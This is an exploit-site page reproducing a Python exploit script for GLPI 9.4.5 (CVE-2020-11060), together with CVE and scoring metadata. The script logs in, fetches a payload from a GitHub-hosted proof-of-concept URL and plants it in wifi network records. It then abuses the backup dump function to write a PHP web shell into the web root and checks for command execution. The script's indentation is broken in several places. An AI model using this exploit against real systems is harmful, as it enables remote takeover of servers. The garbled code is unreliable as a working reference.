Advertisement






GLPI 9.4.5 Remote Code Execution

CVE Category Price Severity
CVE-2020-11060 CWE-94 $10,000 High
Author Risk Exploitation Type Date
David Yesland Critical Remote 2021-07-04
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070036

Below is a copy:

GLPI 9.4.5 Remote Code Execution
# Exploit Title: GLPI 9.4.5 - Remote Code Execution (RCE)
# Exploit Author: Brian Peters
# Vendor Homepage: https://glpi-project.org
# Software Link: https://github.com/glpi-project/glpi/releases
# Version: < 9.4.6
# CVE: CVE-2020-11060

# Download a SQL dump and find the table offset for "wifinetworks" with 
# cat <sqlfile> | grep "CREATE TABLE" | grep -n wifinetworks
# Update the offsettable value with this number in the create_dump function
# The Nix/Win paths are based on defaults. You can use curl -I <url> and use md5sum to find the path based
# on the Set-Cookie hash.

#!/usr/bin/python

import argparse
import json
import random
import re
import requests
import string
import sys
import time
from datetime import datetime
from lxml import html

class GlpiBrowser:
    
    def __init__(self, url, user, password, platform):
        self.url = url
        self.user = user
        self.password = password
        self.platform = platform
        
        self.session = requests.Session()
        self.session.verify = False
        requests.packages.urllib3.disable_warnings()
    
    def extract_csrf(self, html):
        return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0]
    
    def get_login_data(self):
        r = self.session.get('{0}'.format(self.url), allow_redirects=True)
        
        csrf_token = self.extract_csrf(r.text)
        name_field = re.findall('name="(.*)" id="login_name"', r.text)[0]
        pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0]
        
        return name_field, pass_field, csrf_token
    
    def login(self):
        try:
            name_field, pass_field, csrf_token = self.get_login_data()
        except Exception as e:
            print "[-] Login error: could not retrieve form data"
            sys.exit(1)
        
        data = {
            name_field: self.user, 
            pass_field: self.password,
            "auth": "local",
            "submit": "Post",
            "_glpi_csrf_token": csrf_token
        }
        
        r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False)
        
        return r.status_code == 302
        
    def wipe_networks(self, padding, datemod):
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
        comment = r.content
        
        r = self.session.get('{0}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9'.format(self.url))
        try:
            csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Edit network error: could not retrieve form data"
            sys.exit(1)
            
        webpage = html.fromstring(r.content)
        links = webpage.xpath('//a/@href')
        for rawlink in links:
            if "wifinetwork.form.php?id=" in rawlink:
        rawlinkparts = rawlink.split("=")
        networkid = rawlinkparts[-1]
        print "Deleting network "+networkid
        
        data = {
            "entities_id": "0",
            "is_recursive": "0",
            "name": "PoC",
            "comment": comment,
            "essid": "RCE"+padding,
            "mode": "ad-hoc",
    "purge": "Delete permanently",
    "id": networkid,
                    "_glpi_csrf_token": csrf_token,
                    '_read_date_mod': datemod
                }
        
                r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)
    
    def create_network(self, datemod):
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
        comment = r.content

        r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))
        try:
            csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Create network error: could not retrieve form data"
            sys.exit(1)
        
        data = {
    "entities_id": "0",
    "is_recursive": "0",
    "name": "PoC",
    "comment": comment,
    "essid": "RCE",
    "mode": "ad-hoc",
    "add": "ADD",
            "_glpi_csrf_token": csrf_token,
            '_read_date_mod': datemod
        }
        
        r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)
        print "[+] Network created"
        print "      Name: PoC"
        print "      ESSID: RCE"
        
    def edit_network(self, padding, datemod):
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
        comment = r.content
        #create the padding for the name and essid
        
        
        r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))
        webpage = html.fromstring(r.content)
        links = webpage.xpath('//a/@href')
        for rawlink in links:
            if "wifinetwork.form.php?id=" in rawlink:
                rawlinkparts = rawlink.split('/')
                link = rawlinkparts[-1]
                
                #edit the network name and essid
                r = self.session.get('{0}/front/{1}'.format(self.url, link))
                try:
                csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Edit network error: could not retrieve form data"
            sys.exit(1)
            
        rawlinkparts = rawlink.split("=")
        networkid = rawlinkparts[-1]
                    
                data = {
            "entities_id": "0",
            "is_recursive": "0",
            "name": "PoC",
            "comment": comment,
            "essid": "RCE"+padding,
            "mode": "ad-hoc",
            "update": "Save",
            "id": networkid,
                    "_glpi_csrf_token": csrf_token,
                    "_read_date_mod": datemod
                }
                r = self.session.post('{0}/front/wifinetwork.form.php'.format(self.url), data=data)
                print "[+] Network mofified"
                print "      New ESSID: RCE"+padding
    
    def create_dump(self, shellname):
        path=''
        if self.platform == "Win":
            path="C:\\xampp\\htdocs\\pics\\"
        elif self.platform == "Nix":
            path="/var/www/html/glpi/pics/"
        
        #adjust offset number to match the table number for wifi_networks
        #this can be found by downloading a SQL dump and running cat <dumpname> | grep "CREATE TABLE" | grep -n "wifinetworks"
        r = self.session.get('{0}/front/backup.php?dump=dump&offsettable=312&fichier={1}{2}'.format(self.url, path, shellname))
        
        print '[+] Shell: {0}/pics/{1}'.format(self.url, shellname)
        
    def shell_check(self, shellname):
        r = self.session.get('{0}/pics/{1}?0=echo%20asdfasdfasdf'.format(self.url, shellname))
        print "      Shell size: "+str(len(r.content))
        if "asdfasdfasdf" in r.content:
            print "[+] RCE FOUND!"
            sys.exit(1)
        return len(r.content)
    
    def pwn(self):
        if not self.login():
            print "[-] Login error"
            return
        else:
            print "[+] Logged in"

#create timestamp
now = datetime.now()
datemod = now.strftime("%Y-%m-%d %H:%M:%S")

        #create comment payload
        
        tick=1
while True:
    #create random shell name
            letters = string.ascii_letters
    shellname = ''.join(random.choice(letters) for i in range(8))+".php"
    
    #create padding for ESSID
    padding = ''
            for i in range(1,int(tick)+1):
                padding+=str(i)
    
    self.wipe_networks(padding, datemod)
    self.create_network(datemod)
            self.edit_network(padding, datemod)            
            self.create_dump(shellname)
            self.shell_check(shellname)
    print "\n"
            raw_input("Press any key to continue with the next iteration...")
            tick+=1

        return
        
if __name__ == '__main__':
    
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", help="Target URL", required=True)
    parser.add_argument("--user", help="Username", required=True)
    parser.add_argument("--password", help="Password", required=True)
    parser.add_argument("--platform", help="Win/Nix", required=True)
    
    args = parser.parse_args()
    
    g = GlpiBrowser(args.url, user=args.user, password=args.password, platform=args.platform)
    
    g.pwn()
            

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum